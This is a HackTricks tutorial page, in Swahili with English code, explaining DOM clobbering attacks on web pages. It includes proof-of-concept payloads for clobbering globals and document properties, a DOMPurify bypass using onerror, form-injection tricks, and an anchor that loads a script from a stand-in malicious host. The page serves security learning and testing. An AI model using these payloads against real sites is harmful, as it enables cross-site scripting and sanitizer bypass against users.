Dom Clobbering
Reading time: 8 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Msingi
Inawezekana kuunda mabadiliko ya kimataifa ndani ya muktadha wa JS kwa kutumia sifa id
na name
katika vitambulisho vya HTML.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
Tu vipengele fulani tu vinaweza kutumia sifa ya jina kuweza kuharibu globals, ni: embed
, form
, iframe
, image
, img
na object
.
Kwa kushangaza, unapokuwa unatumia kipengele cha fomu kuweza kuharibu variable, utapata toString
ya kipengele chenyewe: [object HTMLFormElement]
lakini kwa kiungo toString
itakuwa href
ya kiungo. Hivyo, ikiwa utaweza kuharibu kwa kutumia a
tag, unaweza kudhibiti thamani wakati inapotendewa kama string:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Arrays & Attributes
Inawezekana pia kuharibu array na sifa za kitu:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
Ili kuharibu sifa ya 3 (mfano x.y.z), unahitaji kutumia form
:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
Kukandamiza sifa zaidi ni ngumu zaidi lakini bado inawezekana, kwa kutumia iframes:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
Tag ya style inatumika kutoa muda wa kutosha kwa iframe kuonyesha. Bila hiyo utaona arifa ya undefined.
Ili kuharibu sifa za ndani zaidi, unaweza kutumia iframes zenye uandishi wa html hivi:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
Kupita Filter
Ikiwa filter inafanya mzunguko kupitia mali za node kwa kutumia kitu kama document.getElementByID('x').attributes
unaweza kufuta mali .attributes
na kuvunja filter. Mali nyingine za DOM kama tagName
, nodeName
au parentNode
na zaidi pia zinaweza kufutwa.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
Clobbering window.someObject
Katika JavaScript ni kawaida kupata:
var someObject = window.someObject || {}
Kuharibu HTML kwenye ukurasa kunaruhusu kubadilisha someObject
na nodi ya DOM, ambayo inaweza kuleta udhaifu wa usalama. Kwa mfano, unaweza kubadilisha someObject
na kipengele cha kiungo kinachorejelea skripti mbaya:
<a id=someObject href=//malicious-website.com/malicious.js></a>
Katika msimbo unaoweza kuathiriwa kama:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
Hii mbinu inatumia chanzo cha script kutekeleza msimbo usiotakikana.
Hila: DOMPurify
inakuwezesha kutumia cid:
itifaki, ambayo haiwezi kuandika URL kwa alama za nukuu mbili. Hii inamaanisha unaweza kuingiza alama ya nukuu mbili iliyowekwa ambayo itafutwa wakati wa utekelezaji. Hivyo, kuingiza kitu kama <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
kutaifanya HTML iliyowekwa "
kuwa futwa wakati wa utekelezaji na kutoroka kutoka kwa thamani ya sifa ili kuunda tukio la onerror
.
Mbinu nyingine inatumia kipengele cha form
. Maktaba fulani za upande wa mteja zinakagua sifa za kipengele kipya cha fomu ili kuzisafisha. Hata hivyo, kwa kuongeza input
yenye id=attributes
ndani ya fomu, unabadilisha kwa ufanisi mali za sifa, ukizuia sanitizer kufikia sifa halisi.
Unaweza kupata mfano wa aina hii ya clobbering katika andiko hili la CTF.
Clobbering document object
Kulingana na hati, inawezekana kubadilisha sifa za kipengele cha hati kwa kutumia DOM Clobbering:
Kiolesura cha Document kimeunga mkono mali zenye majina. Majina ya mali yanayoungwa mkono ya kipengele cha Document wakati wowote yanajumuisha yafuatayo, kwa mpangilio wa mti kulingana na kipengele kilichochangia, bila kuzingatia nakala za baadaye, na kwa thamani kutoka id sifa zikija kabla ya thamani kutoka kwa sifa za jina wakati kipengele kimoja kinachangia zote mbili:
- Thamani ya sifa ya maudhui ya jina kwa exposed embed, form, iframe, img, na exposed object vipengele ambavyo vina sifa ya maudhui ya jina isiyo tupu na viko katika mti wa hati na hati kama mizizi;
- Thamani ya sifa ya id ya maudhui kwa exposed object vipengele ambavyo vina sifa ya maudhui ya id isiyo tupu na viko katika mti wa hati na hati kama mizizi;
- Thamani ya sifa ya id ya maudhui kwa img vipengele ambavyo vina sifa ya maudhui ya id isiyo tupu na sifa ya maudhui ya jina isiyo tupu, na viko katika mti wa hati na hati kama mizizi.
Kwa kutumia mbinu hii unaweza kubadilisha thamani zinazotumika sana kama document.cookie
, document.body
, document.children
, na hata mbinu katika kiolesura cha Document kama document.querySelector
.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Kuandika baada ya kipengele kilichoharibiwa
Matokeo ya wito kwa document.getElementById()
na document.querySelector()
yanaweza kubadilishwa kwa kuingiza tag ya <html>
au <body>
yenye sifa sawa ya id. Hapa kuna jinsi inavyoweza kufanywa:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
Zaidi ya hayo, kwa kutumia mitindo kuficha hizi lebo za HTML/body zilizowekwa, kuingiliwa na maandiko mengine katika innerText
kunaweza kuzuiwa, hivyo kuboresha ufanisi wa shambulio:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Uchunguzi kuhusu SVG ulibaini kwamba tag <body>
inaweza pia kutumika kwa ufanisi:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Ili tag ya HTML ifanye kazi ndani ya SVG katika vivinjari kama Chrome na Firefox, tag ya <foreignobject>
inahitajika:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
Ni uwezekano wa kuongeza ingizo jipya ndani ya fomu kwa ku ainisha sifa ya form
ndani ya baadhi ya lebo. Unaweza kutumia hii ku ongeza thamani mpya ndani ya fomu na hata kuongeza kitufe kipya cha kutuma (clickjacking au kutumia baadhi ya msimbo wa JS .click()
):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- Kwa maelezo zaidi ya sifa za fomu katika button check this.
Marejeleo
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.